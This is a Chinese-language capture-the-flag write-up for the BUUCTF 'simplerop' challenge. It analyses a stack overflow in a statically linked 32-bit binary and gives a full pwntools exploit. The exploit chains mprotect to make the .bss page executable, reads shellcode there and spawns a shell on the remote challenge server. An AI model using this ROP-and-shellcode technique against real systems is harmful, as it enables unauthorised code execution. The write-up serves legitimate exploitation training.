# 1. 查看程序

32 位程序,开启了 NX,ida32 查看, main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h] BYREF

  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

# 2. 分析

打开后发现左边有一大堆函数,应该是静态编译的,这种一般会有 mprotect 函数可以改变内存的执行权限,

发现果然有 mprotect 函数

mprotect(起始地址,修改内存长度,修改的权限(修改为7) )

指定的内存区间必须包含整个内存页(4k),起始地址必须是页的起始地址(末尾为000),修改区间的长度必须是页的整数倍

将 bbs 段内的页的整数倍地址作为起始地址,修改其权限为可读写、执行

mprotect 函数有 3 个参数,利用寄存器传参 (静态编译可以找到很多符合的):

# 3.exp:

n
from pwn import *
from LibcSearcher import *
from struct import pack
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./simplerop')
e=ELF('./simplerop')
p=remote('node4.buuoj.cn',26831)
#mprotect=0x0806D870
mprotect=e.sym["mprotect"]
print("mprotect:"+hex(mprotect))
#start=0x80ea000
#start=0x8be2000 #heap
start=0x080EB000 #bbs
pop_esi_pop_edi_pop_ebp_ret=0x0804838c
main=0x8048E24
#read=0x806CD50
read=e.sym["read"]
print("read:"+hex(read))
shellcode=asm(shellcraft.sh())
p.recvuntil("Your input :")
payload=b"a"*(32)+p32(mprotect)+p32(pop_esi_pop_edi_pop_ebp_ret)+p32(start)+p32(0x1000)+p32(0x7)+p32(read)+p32(start)+p32(0)+p32(start)+p32(0x1000)
p.sendline(payload)
#p.recvuntil("Your input :")
#p.recv()
#p.recv()
#payload=b"a"*(0x20)+p32(read)+p32(pop_esi_pop_edi_pop_ebp_ret)+p32(0)+p32(start)+p32(0x1000)+p32(start)
#payload=b"a"*(0x20)+p32(read)+p32(start)+p32(0)+p32(start)+p32(0x1000)#+p32(start)
#p.sendline(payload)
p.sendline(shellcode)
p.interactive()

【这里有个问题,构造的 rop 链不能是返回到 main 再次执行,这样会有问题,需要构造一个完整的链,修改 bbs 段上的权限,其他地方修改了仍然无法执行,可能是 ASLR 的原因】

其他方法:

https://blog.csdn.net/A951860555/article/details/115286266